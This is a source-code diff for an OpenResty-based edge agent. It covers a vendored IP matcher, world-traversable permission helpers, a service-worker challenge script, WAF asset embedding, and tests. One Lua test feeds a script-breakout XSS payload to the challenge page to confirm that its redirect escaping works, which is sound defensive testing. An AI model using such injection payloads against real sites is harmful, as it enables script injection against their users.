return ngx_log(ngx_INFO, ...)
|
||||
end
|
||||
|
||||
|
||||
local function split_ip(ip_addr_org)
|
||||
local idx = find_str(ip_addr_org, "/", 1, true)
|
||||
if not idx then
|
||||
return ip_addr_org
|
||||
end
|
||||
|
||||
local ip_addr = str_sub(ip_addr_org, 1, idx - 1)
|
||||
local ip_addr_mask = str_sub(ip_addr_org, idx + 1)
|
||||
return ip_addr, tonumber(ip_addr_mask)
|
||||
end
|
||||
_M.split_ip = split_ip
|
||||
|
||||
|
||||
local idxs = {}
|
||||
local function gen_ipv6_idxs(inets_ipv6, mask)
|
||||
clear_tab(idxs)
|
||||
|
||||
for _, inet in ipairs(inets_ipv6) do
|
||||
local valid_mask = mask
|
||||
if valid_mask > 32 then
|
||||
valid_mask = 32
|
||||
end
|
||||
|
||||
if valid_mask == 32 then
|
||||
insert_tab(idxs, inet)
|
||||
else
|
||||
insert_tab(idxs, bit.rshift(inet, 32 - valid_mask))
|
||||
end
|
||||
|
||||
mask = mask - 32
|
||||
if mask <= 0 then
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
return idxs
|
||||
end
|
||||
|
||||
|
||||
local function new(ips, with_value)
|
||||
if not ips or type(ips) ~= "table" then
|
||||
error("missing valid ip argument", 2)
|
||||
end
|
||||
|
||||
local parsed_ipv4s = {}
|
||||
local parsed_ipv4s_mask = {}
|
||||
local ipv4_match_all_value
|
||||
|
||||
local parsed_ipv6s = {}
|
||||
local parsed_ipv6s_mask = {}
|
||||
local ipv6_values = {}
|
||||
local ipv6s_values_idx = 1
|
||||
local ipv6_match_all_value
|
||||
|
||||
local iter = with_value and pairs or ipairs
|
||||
for a, b in iter(ips) do
|
||||
local ip_addr_org, value
|
||||
if with_value then
|
||||
ip_addr_org = a
|
||||
value = b
|
||||
|
||||
else
|
||||
ip_addr_org = b
|
||||
value = true
|
||||
end
|
||||
|
||||
local ip_addr, ip_addr_mask = split_ip(ip_addr_org)
|
||||
|
||||
local inet_ipv4 = parse_ipv4(ip_addr)
|
||||
if inet_ipv4 then
|
||||
ip_addr_mask = ip_addr_mask or 32
|
||||
if ip_addr_mask == 32 then
|
||||
parsed_ipv4s[inet_ipv4] = value
|
||||
|
||||
elseif ip_addr_mask == 0 then
|
||||
ipv4_match_all_value = value
|
||||
|
||||
else
|
||||
local valid_inet_addr = bit.rshift(inet_ipv4, 32 - ip_addr_mask)
|
||||
|
||||
parsed_ipv4s_mask[ip_addr_mask] = parsed_ipv4s_mask[ip_addr_mask] or {}
|
||||
parsed_ipv4s_mask[ip_addr_mask][valid_inet_addr] = value
|
||||
log_info("ipv4 mask: ", ip_addr_mask,
|
||||
" valid inet: ", valid_inet_addr)
|
||||
end
|
||||
|
||||
goto continue
|
||||
end
|
||||
|
||||
local inets_ipv6 = parse_ipv6(ip_addr)
|
||||
if inets_ipv6 then
|
||||
ip_addr_mask = ip_addr_mask or 128
|
||||
if ip_addr_mask == 128 then
|
||||
parsed_ipv6s[ip_addr] = value
|
||||
|
||||
elseif ip_addr_mask == 0 then
|
||||
ipv6_match_all_value = value
|
||||
end
|
||||
|
||||
parsed_ipv6s[ip_addr_mask] = parsed_ipv6s[ip_addr_mask] or {}
|
||||
|
||||
local inets_idxs = gen_ipv6_idxs(inets_ipv6, ip_addr_mask)
|
||||
local node = parsed_ipv6s[ip_addr_mask]
|
||||
for i, inet in ipairs(inets_idxs) do
|
||||
if i == #inets_idxs then
|
||||
if with_value then
|
||||
ipv6_values[ipv6s_values_idx] = value
|
||||
node[inet] = ipv6s_values_idx
|
||||
ipv6s_values_idx = ipv6s_values_idx + 1
|
||||
else
|
||||
node[inet] = true
|
||||
end
|
||||
end
|
||||
node[inet] = node[inet] or {}
|
||||
node = node[inet]
|
||||
end
|
||||
|
||||
parsed_ipv6s_mask[ip_addr_mask] = true
|
||||
|
||||
goto continue
|
||||
end
|
||||
|
||||
if not inet_ipv4 and not inets_ipv6 then
|
||||
return nil, "invalid ip address: " .. ip_addr
|
||||
end
|
||||
|
||||
::continue::
|
||||
end
|
||||
|
||||
local ipv4_mask_arr = {}
|
||||
for k, _ in pairs(parsed_ipv4s_mask) do
|
||||
insert_tab(ipv4_mask_arr, k)
|
||||
end
|
||||
|
||||
local ipv6_mask_arr = {}
|
||||
for k, _ in pairs(parsed_ipv6s_mask) do
|
||||
insert_tab(ipv6_mask_arr, k)
|
||||
end
|
||||
|
||||
return setmetatable({
|
||||
ipv4 = parsed_ipv4s,
|
||||
ipv4_mask = parsed_ipv4s_mask,
|
||||
ipv4_mask_arr = ipv4_mask_arr,
|
||||
ipv4_match_all_value = ipv4_match_all_value,
|
||||
|
||||
ipv6 = parsed_ipv6s,
|
||||
ipv6_mask = parsed_ipv6s_mask,
|
||||
ipv6_mask_arr = ipv6_mask_arr,
|
||||
ipv6_values = ipv6_values,
|
||||
ipv6_match_all_value = ipv6_match_all_value,
|
||||
}, mt)
|
||||
end
|
||||
|
||||
function _M.new(ips)
|
||||
return new(ips, false)
|
||||
end
|
||||
|
||||
function _M.new_with_value(ips)
|
||||
return new(ips, true)
|
||||
end
|
||||
|
||||
|
||||
local function match_ipv4(self, ip)
|
||||
local ipv4s = self.ipv4
|
||||
local value = ipv4s[ip]
|
||||
if value ~= nil then
|
||||
return value
|
||||
end
|
||||
|
||||
local ipv4_mask = self.ipv4_mask
|
||||
if self.ipv4_match_all_value ~= nil then
|
||||
return self.ipv4_match_all_value -- match any ip
|
||||
end
|
||||
|
||||
for _, mask in ipairs(self.ipv4_mask_arr) do
|
||||
local valid_inet_addr = bit.rshift(ip, 32 - mask)
|
||||
|
||||
log_info("ipv4 mask: ", mask,
|
||||
" valid inet: ", valid_inet_addr)
|
||||
|
||||
value = ipv4_mask[mask][valid_inet_addr]
|
||||
if value ~= nil then
|
||||
return value
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_ipv6(self, ip)
|
||||
local ipv6s = self.ipv6
|
||||
if self.ipv6_match_all_value ~= nil then
|
||||
return self.ipv6_match_all_value -- match any ip
|
||||
end
|
||||
|
||||
for _, mask in ipairs(self.ipv6_mask_arr) do
|
||||
local node = ipv6s[mask]
|
||||
local inet_idxs = gen_ipv6_idxs(ip, mask)
|
||||
for _, inet in ipairs(inet_idxs) do
|
||||
if not node[inet] then
|
||||
break
|
||||
else
|
||||
node = node[inet]
|
||||
if node == true then
|
||||
return true
|
||||
end
|
||||
if type(node) == "number" then
|
||||
-- fetch with the ipv6s_values_idx
|
||||
return self.ipv6_values[node]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
function _M.match(self, ip)
|
||||
local inet_ipv4 = parse_ipv4(ip)
|
||||
if inet_ipv4 then
|
||||
return match_ipv4(self, inet_ipv4)
|
||||
end
|
||||
|
||||
local inets_ipv6 = parse_ipv6(ip)
|
||||
if not inets_ipv6 then
|
||||
return false, "invalid ip address, not ipv4 and ipv6"
|
||||
end
|
||||
|
||||
local ipv6s = self.ipv6
|
||||
local value = ipv6s[ip]
|
||||
if value ~= nil then
|
||||
return value
|
||||
end
|
||||
|
||||
return match_ipv6(self, inets_ipv6)
|
||||
end
|
||||
|
||||
|
||||
function _M.match_bin(self, bin_ip)
|
||||
local inet_ipv4 = parse_bin_ipv4(bin_ip)
|
||||
if inet_ipv4 then
|
||||
return match_ipv4(self, inet_ipv4)
|
||||
end
|
||||
|
||||
local inets_ipv6 = parse_bin_ipv6(bin_ip)
|
||||
if not inets_ipv6 then
|
||||
return false, "invalid ip address, not ipv4 and ipv6"
|
||||
end
|
||||
|
||||
return match_ipv6(self, inets_ipv6)
|
||||
end
|
||||
|
||||
|
||||
return _M
|
||||
@@ -0,0 +1,32 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"Wavelet/openflare/plugins/agent/runtimeuser"
|
||||
)
|
||||
|
||||
// OpenFlareRuntimeUser is the shared OS account for the agent process and
|
||||
// OpenResty worker processes.
|
||||
const OpenFlareRuntimeUser = runtimeuser.Name
|
||||
|
||||
// OpenRestyWorkerUser is an alias kept for internal call sites.
|
||||
const OpenRestyWorkerUser = runtimeuser.Name
|
||||
|
||||
// EnsureWorldTraversablePath makes targetDir and its ancestors world-traversable.
|
||||
func EnsureWorldTraversablePath(targetDir string) error {
|
||||
return runtimeuser.EnsurePathOwnership(targetDir, nginxDirPerm, nginxConfigFilePerm)
|
||||
}
|
||||
|
||||
// EnsureWorkerReadableTree normalizes ownership and modes under root for the
|
||||
// shared runtime user.
|
||||
func EnsureWorkerReadableTree(rootDir string) error {
|
||||
return runtimeuser.EnsurePathOwnership(rootDir, nginxDirPerm, nginxConfigFilePerm)
|
||||
}
|
||||
|
||||
// EnsureWorkerReadAccess makes agent-managed runtime paths accessible to the
|
||||
// shared runtime user.
|
||||
func (m *Manager) EnsureWorkerReadAccess() error {
|
||||
return m.ensureOpenRestyWorkerReadAccess()
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEnsureWorkerReadableTreeFixesRestrictedPagesFiles(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
pagesDir := filepath.Join(tempDir, "data", "var", "lib", "openflare", "pages")
|
||||
releaseDir := filepath.Join(pagesDir, "deployments", "1", "releases", "abc123")
|
||||
if err := os.MkdirAll(releaseDir, 0o700); err != nil {
|
||||
t.Fatalf("MkdirAll failed: %v", err)
|
||||
}
|
||||
indexPath := filepath.Join(releaseDir, "index.html")
|
||||
if err := os.WriteFile(indexPath, []byte("<html></html>"), 0o600); err != nil {
|
||||
t.Fatalf("WriteFile failed: %v", err)
|
||||
}
|
||||
|
||||
if err := EnsureWorldTraversablePath(pagesDir); err != nil {
|
||||
t.Fatalf("EnsureWorldTraversablePath failed: %v", err)
|
||||
}
|
||||
if err := EnsureWorkerReadableTree(pagesDir); err != nil {
|
||||
t.Fatalf("EnsureWorkerReadableTree failed: %v", err)
|
||||
}
|
||||
|
||||
info, err := os.Stat(indexPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Stat failed: %v", err)
|
||||
}
|
||||
if info.Mode().Perm() != nginxConfigFilePerm {
|
||||
t.Fatalf("expected index.html mode %o, got %o", nginxConfigFilePerm, info.Mode().Perm())
|
||||
}
|
||||
etcInfo, err := os.Stat(filepath.Join(tempDir, "data", "var"))
|
||||
if err != nil {
|
||||
t.Fatalf("Stat var failed: %v", err)
|
||||
}
|
||||
if etcInfo.Mode().Perm()&0o005 == 0 {
|
||||
t.Fatalf("expected var directory to be world-traversable, got %o", etcInfo.Mode().Perm())
|
||||
}
|
||||
}
|
||||
|
||||
func TestManagerEnsureWorkerReadAccessIncludesPagesDir(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
dataDir := filepath.Join(tempDir, "data")
|
||||
pagesRoot := filepath.Join(dataDir, "var", "lib", "openflare", "pages")
|
||||
releaseDir := filepath.Join(pagesRoot, "deployments", "1", "releases", "abc123")
|
||||
if err := os.MkdirAll(releaseDir, 0o700); err != nil {
|
||||
t.Fatalf("MkdirAll failed: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(releaseDir, "index.html"), []byte("ok"), 0o600); err != nil {
|
||||
t.Fatalf("WriteFile failed: %v", err)
|
||||
}
|
||||
|
||||
manager := &Manager{PagesDir: pagesRoot}
|
||||
if err := manager.EnsureWorkerReadAccess(); err != nil {
|
||||
t.Fatalf("EnsureWorkerReadAccess failed: %v", err)
|
||||
}
|
||||
|
||||
info, err := os.Stat(filepath.Join(tempDir, "data"))
|
||||
if err != nil {
|
||||
t.Fatalf("Stat data failed: %v", err)
|
||||
}
|
||||
if info.Mode().Perm()&0o005 == 0 {
|
||||
t.Fatalf("expected data directory to be world-traversable, got %o", info.Mode().Perm())
|
||||
}
|
||||
indexInfo, err := os.Stat(filepath.Join(releaseDir, "index.html"))
|
||||
if err != nil {
|
||||
t.Fatalf("Stat index failed: %v", err)
|
||||
}
|
||||
if indexInfo.Mode().Perm() != nginxConfigFilePerm {
|
||||
t.Fatalf("expected index.html mode %o, got %o", nginxConfigFilePerm, indexInfo.Mode().Perm())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
)
|
||||
|
||||
const openRestySWRuntimeLua = `local _M = {}
|
||||
|
||||
local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
local base_dir = string.match(script_path, "^(.*)/sw/[^/]+%.lua$")
|
||||
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
|
||||
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
|
||||
end
|
||||
end
|
||||
|
||||
local function is_real_browser(ua)
|
||||
if not ua or ua == "" then return false end
|
||||
-- Chrome/Edge/CentOS-style: "Chrome/120" (pattern mode: %d = digit)
|
||||
if string.find(ua, "Chrome/%d", 1) then return true end
|
||||
-- Firefox: "Firefox/120"
|
||||
if string.find(ua, "Firefox/%d", 1) then return true end
|
||||
-- Safari (non-Chrome, e.g. "Version/17.0 Safari")
|
||||
if not string.find(ua, "Chrome", 1, true) and string.find(ua, "Safari", 1, true) then return true end
|
||||
return false
|
||||
end
|
||||
|
||||
local function pass_through()
|
||||
return true
|
||||
end
|
||||
|
||||
function _M.check()
|
||||
local ua = ngx.var.http_user_agent or ""
|
||||
if not is_real_browser(ua) then return pass_through() end
|
||||
|
||||
local uri = ngx.var.uri or ""
|
||||
if uri ~= "/" then return pass_through() end
|
||||
|
||||
if ngx.req.get_method and ngx.req.get_method() ~= "GET" then return pass_through() end
|
||||
|
||||
local cookie = ngx.var["cookie___openflare_sw"]
|
||||
if cookie and cookie ~= "" then return pass_through() end
|
||||
|
||||
-- intercept: internal redirect to challenge page, which registers SW + sets cookie
|
||||
local redir = ngx.var.scheme .. "://" .. ngx.var.host .. uri .. (ngx.var.args and ("?" .. ngx.var.args) or "")
|
||||
ngx.req.set_uri_args({ redir = redir })
|
||||
return ngx.exec("/__openflare_sw_challenge")
|
||||
end
|
||||
|
||||
return _M
|
||||
`
|
||||
|
||||
const openRestySWChallengeLua = `local args = ngx.req.get_uri_args()
|
||||
local redir = args["redir"] or "/"
|
||||
|
||||
-- Escape redir for embedding inside a JS string literal within an HTML
|
||||
-- <script> element. Backslashes first so later escapes stay escaped, then
|
||||
-- double quotes (string-literal break-out), then "<" (prevents a raw
|
||||
-- "</script" sequence ending the element, which the HTML parser matches
|
||||
-- case-insensitively), then CR/LF (a raw newline would end the literal).
|
||||
local function escape_redir(value)
|
||||
local escaped = string.gsub(value, "\\", "\\\\")
|
||||
escaped = string.gsub(escaped, '"', '\\"')
|
||||
escaped = string.gsub(escaped, "<", "\\x3C")
|
||||
escaped = string.gsub(escaped, string.char(0xE2, 0x80, 0xA8), "\\u2028")
|
||||
escaped = string.gsub(escaped, string.char(0xE2, 0x80, 0xA9), "\\u2029")
|
||||
escaped = string.gsub(escaped, "\r", "\\r")
|
||||
escaped = string.gsub(escaped, "\n", "\\n")
|
||||
return escaped
|
||||
end
|
||||
redir = escape_redir(redir)
|
||||
|
||||
ngx.header.content_type = "text/html; charset=utf-8"
|
||||
ngx.say([[<!DOCTYPE html>
|
||||
<html lang="zh-CN">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="robots" content="noindex,nofollow">
|
||||
<title></title>
|
||||
<script>
|
||||
console.debug("[sw-challenge] challenge page loaded, redirect target: ]] .. redir .. [[");
|
||||
if ("serviceWorker" in navigator) {
|
||||
console.debug("[sw-challenge] registering service worker /sw.js");
|
||||
navigator.serviceWorker.register("/sw.js").then(function () {
|
||||
console.debug("[sw-challenge] service worker registered");
|
||||
document.cookie = "__openflare_sw=1; Path=/; Max-Age=31536000; Secure; SameSite=Lax";
|
||||
location.replace("]] .. redir .. [[");
|
||||
}).catch(function (err) {
|
||||
console.debug("[sw-challenge] service worker registration failed, redirecting anyway: ", err);
|
||||
location.replace("]] .. redir .. [[");
|
||||
});
|
||||
} else {
|
||||
console.debug("[sw-challenge] service worker unsupported, redirecting");
|
||||
document.cookie = "__openflare_sw=1; Path=/; Max-Age=31536000; Secure; SameSite=Lax";
|
||||
location.replace("]] .. redir .. [[");
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body></body>
|
||||
</html>]])
|
||||
`
|
||||
|
||||
// ManagedSWLuaFiles returns embedded Lua assets for the SW offline challenge.
|
||||
func ManagedSWLuaFiles() []protocol.SupportFile {
|
||||
return []protocol.SupportFile{
|
||||
{Path: "sw/runtime.lua", Content: openRestySWRuntimeLua},
|
||||
{Path: "sw/challenge.lua", Content: openRestySWChallengeLua},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
lua "github.com/yuin/gopher-lua"
|
||||
)
|
||||
|
||||
func TestSWRuntimeAndChallenge(t *testing.T) {
|
||||
state := lua.NewState()
|
||||
defer state.Close()
|
||||
|
||||
runtimePath := filepath.Join(t.TempDir(), "runtime.lua")
|
||||
if err := os.WriteFile(runtimePath, []byte(openRestySWRuntimeLua), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
challengePath := filepath.Join(t.TempDir(), "challenge.lua")
|
||||
if err := os.WriteFile(challengePath, []byte(openRestySWChallengeLua), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
specPath, err := filepath.Abs("sw_runtime_spec.lua")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
state.SetGlobal("SW_RUNTIME_PATH", lua.LString(runtimePath))
|
||||
state.SetGlobal("SW_CHALLENGE_PATH", lua.LString(challengePath))
|
||||
if err := state.DoFile(specPath); err != nil {
|
||||
t.Fatalf("SW runtime/challenge specification failed: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
local runtime_path = assert(SW_RUNTIME_PATH, "SW_RUNTIME_PATH is required")
|
||||
local challenge_path = assert(SW_CHALLENGE_PATH, "SW_CHALLENGE_PATH is required")
|
||||
|
||||
local function assert_equal(actual, expected, message)
|
||||
if actual ~= expected then
|
||||
error((message or "values differ") .. ": expected " .. tostring(expected) .. ", got " .. tostring(actual), 2)
|
||||
end
|
||||
end
|
||||
|
||||
-- Stable tables: never rebind `exec_calls` / `redir_args` (closures capture
|
||||
-- the upvalue slot; rebinding can leave stale values visible under
|
||||
-- gopher-lua across long test sequences). Clear them in place instead.
|
||||
local output = {}
|
||||
local exec_calls = {}
|
||||
local redir_args = {}
|
||||
|
||||
local function clear_state()
|
||||
for i = 1, #exec_calls do exec_calls[i] = nil end
|
||||
redir_args.redir = nil
|
||||
end
|
||||
|
||||
ngx = {
|
||||
var = {},
|
||||
header = {},
|
||||
exec = function(uri)
|
||||
exec_calls[#exec_calls + 1] = uri
|
||||
return true
|
||||
end,
|
||||
say = function(body) output.body = body end,
|
||||
req = {
|
||||
get_uri_args = function() return redir_args end,
|
||||
set_uri_args = function(args) redir_args.redir = args.redir end,
|
||||
},
|
||||
}
|
||||
|
||||
local function load_runtime()
|
||||
local chunk = assert(loadfile(runtime_path))
|
||||
return chunk()
|
||||
end
|
||||
|
||||
local function reset_request(user_agent, uri, cookie, args, method)
|
||||
clear_state()
|
||||
ngx.var = {
|
||||
http_user_agent = user_agent,
|
||||
uri = uri or "/",
|
||||
scheme = "https",
|
||||
host = "example.com",
|
||||
args = args,
|
||||
["cookie___openflare_sw"] = cookie,
|
||||
}
|
||||
ngx.req.get_method = function() return method or "GET" end
|
||||
end
|
||||
|
||||
local function test_module_contract()
|
||||
local runtime = load_runtime()
|
||||
assert_equal(type(runtime), "table", "sw.runtime must return a module table, not true/nil")
|
||||
assert_equal(type(runtime.check), "function", "sw.runtime must export check()")
|
||||
end
|
||||
|
||||
local function test_non_browser_ua_passes_through()
|
||||
local runtime = load_runtime()
|
||||
reset_request("curl/8.0.1")
|
||||
assert_equal(runtime.check(), true, "non-browser UA passes through")
|
||||
assert_equal(#exec_calls, 0, "non-browser UA must not intercept")
|
||||
|
||||
reset_request("")
|
||||
assert_equal(runtime.check(), true, "empty UA passes through")
|
||||
|
||||
reset_request(nil)
|
||||
assert_equal(runtime.check(), true, "missing UA passes through")
|
||||
end
|
||||
|
||||
local function test_browser_ua_non_get_passes_through()
|
||||
local runtime = load_runtime()
|
||||
reset_request(
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"/",
|
||||
nil,
|
||||
nil,
|
||||
"POST"
|
||||
)
|
||||
assert_equal(runtime.check(), true, "non-GET request passes through")
|
||||
assert_equal(#exec_calls, 0, "non-GET request must not be intercepted")
|
||||
end
|
||||
|
||||
local function test_browser_ua_with_cookie_passes_through()
|
||||
local runtime = load_runtime()
|
||||
reset_request(
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"/",
|
||||
"1"
|
||||
)
|
||||
assert_equal(runtime.check(), true, "browser UA with cookie passes through")
|
||||
assert_equal(#exec_calls, 0, "cookie holder must not be intercepted")
|
||||
end
|
||||
|
||||
local function test_browser_ua_root_without_cookie_intercepts()
|
||||
local runtime = load_runtime()
|
||||
local chrome = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
||||
reset_request(chrome, "/")
|
||||
runtime.check()
|
||||
assert_equal(#exec_calls, 1, "browser without cookie on / must be intercepted once")
|
||||
assert_equal(exec_calls[1], "/__openflare_sw_challenge", "intercept targets the challenge page")
|
||||
assert_equal(redir_args.redir, "https://example.com/", "redir arg preserves scheme+host+uri")
|
||||
|
||||
reset_request(chrome, "/", nil, "a=1&b=2")
|
||||
runtime.check()
|
||||
assert_equal(#exec_calls, 1, "second request also intercepted")
|
||||
assert_equal(redir_args.redir, "https://example.com/?a=1&b=2", "redir arg keeps the query string")
|
||||
|
||||
reset_request("Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", "/")
|
||||
runtime.check()
|
||||
assert_equal(exec_calls[1], "/__openflare_sw_challenge", "Firefox intercepted")
|
||||
|
||||
reset_request(
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
|
||||
"/"
|
||||
)
|
||||
runtime.check()
|
||||
assert_equal(exec_calls[1], "/__openflare_sw_challenge", "Safari intercepted")
|
||||
end
|
||||
|
||||
local function test_browser_ua_non_root_passes_through()
|
||||
local runtime = load_runtime()
|
||||
reset_request(
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"/about"
|
||||
)
|
||||
assert_equal(runtime.check(), true, "non-root uri passes through")
|
||||
assert_equal(#exec_calls, 0, "non-root uri must not be intercepted")
|
||||
end
|
||||
|
||||
local function run_challenge(redir_value)
|
||||
output.body = nil
|
||||
ngx.header = {}
|
||||
redir_args.redir = redir_value
|
||||
local chunk = assert(loadfile(challenge_path))
|
||||
chunk()
|
||||
return output.body
|
||||
end
|
||||
|
||||
local function test_challenge_embeds_plain_redir()
|
||||
local body = run_challenge("https://example.com/page?a=1&b=2")
|
||||
assert_equal(
|
||||
string.find(body, 'location.replace("https://example.com/page?a=1&b=2")', 1, true) ~= nil,
|
||||
true,
|
||||
"plain redir embedded verbatim"
|
||||
)
|
||||
end
|
||||
|
||||
local function test_challenge_escapes_script_breakout()
|
||||
local payload = '"/><script>alert(1)</script>'
|
||||
local body = run_challenge(payload)
|
||||
assert_equal(string.find(body, '"><script>', 1, true), nil, "raw breakout sequence must not appear")
|
||||
assert_equal(string.find(body, '\\x3C/script>', 1, true) ~= nil, true, "less-than must be hex-escaped")
|
||||
assert_equal(string.find(body, '\\"', 1, true) ~= nil, true, "double quote must be backslash-escaped")
|
||||
end
|
||||
|
||||
local function test_challenge_escapes_backslash_and_newline()
|
||||
local payload = 'a\\b";' .. string.char(13, 10)
|
||||
local body = run_challenge(payload)
|
||||
assert_equal(string.find(body, 'a\\\\b\\";\\r\\n', 1, true) ~= nil, true, "backslash, quote and CRLF escaped")
|
||||
end
|
||||
|
||||
test_module_contract()
|
||||
test_non_browser_ua_passes_through()
|
||||
test_browser_ua_non_get_passes_through()
|
||||
test_browser_ua_with_cookie_passes_through()
|
||||
test_browser_ua_root_without_cookie_intercepts()
|
||||
test_browser_ua_non_root_passes_through()
|
||||
test_challenge_embeds_plain_redir()
|
||||
test_challenge_escapes_script_breakout()
|
||||
test_challenge_escapes_backslash_and_newline()
|
||||
|
||||
return true
|
||||
@@ -0,0 +1,45 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
)
|
||||
|
||||
//go:embed waf_runtime.lua
|
||||
var openRestyWAFRuntimeLua string
|
||||
|
||||
//go:embed waf_ip_groups.lua
|
||||
var openRestyWAFIPGroupsLua string
|
||||
|
||||
// Vendored from https://github.com/api7/lua-resty-ipmatcher v0.6.1 (Apache-2.0).
|
||||
// OPM has no api7/lua-resty-ipmatcher package; deploy with Agent Lua assets instead.
|
||||
//
|
||||
//go:embed resty/ipmatcher.lua
|
||||
var openRestyIPMatcherLua string
|
||||
|
||||
const openRestyWAFCheckLua = `local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
local base_dir = string.match(script_path, "^(.*)/waf/[^/]+%.lua$")
|
||||
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
|
||||
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
|
||||
end
|
||||
end
|
||||
|
||||
return require("waf.runtime").check()
|
||||
`
|
||||
|
||||
// ManagedWAFLuaFiles returns the embedded Lua source files that must be deployed to the WAF runtime directory.
|
||||
func ManagedWAFLuaFiles() []protocol.SupportFile {
|
||||
return []protocol.SupportFile{
|
||||
{Path: "waf/runtime.lua", Content: openRestyWAFRuntimeLua},
|
||||
{Path: "waf/ip_groups.lua", Content: openRestyWAFIPGroupsLua},
|
||||
{Path: "waf/check.lua", Content: openRestyWAFCheckLua},
|
||||
// resty.ipmatcher under lua_package_path <luaDir>/?.lua
|
||||
{Path: "resty/ipmatcher.lua", Content: openRestyIPMatcherLua},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
lua "github.com/yuin/gopher-lua"
|
||||
)
|
||||
|
||||
func TestWAFRuntime(t *testing.T) {
|
||||
state := lua.NewState()
|
||||
defer state.Close()
|
||||
|
||||
runtimePath, err := filepath.Abs("waf_runtime.lua")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
specPath, err := filepath.Abs("waf_runtime_spec.lua")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
state.SetGlobal("WAF_RUNTIME_PATH", lua.LString(runtimePath))
|
||||
if err := state.DoFile(specPath); err != nil {
|
||||
t.Fatalf("WAF runtime specification failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWAFIPGroupRefresh(t *testing.T) {
|
||||
state := lua.NewState()
|
||||
defer state.Close()
|
||||
|
||||
modulePath, err := filepath.Abs("waf_ip_groups.lua")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
specPath, err := filepath.Abs("waf_ip_groups_spec.lua")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
state.SetGlobal("WAF_IP_GROUPS_PATH", lua.LString(modulePath))
|
||||
if err := state.DoFile(specPath); err != nil {
|
||||
t.Fatalf("WAF IP group refresh specification failed: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
local _M = {}
|
||||
|
||||
local current_groups = { groups = {} }
|
||||
local current_version
|
||||
local initialized = false
|
||||
local shared
|
||||
local read_checksum
|
||||
local read_json
|
||||
local decode
|
||||
local log_warning
|
||||
local max_snapshot_bytes
|
||||
|
||||
local refresh_lock_key = "ip_groups_refresh_lock"
|
||||
local raw_snapshot_prefix = "ip_groups_raw:"
|
||||
local version_key = "ip_groups_version"
|
||||
local previous_version_key = "ip_groups_previous_version"
|
||||
|
||||
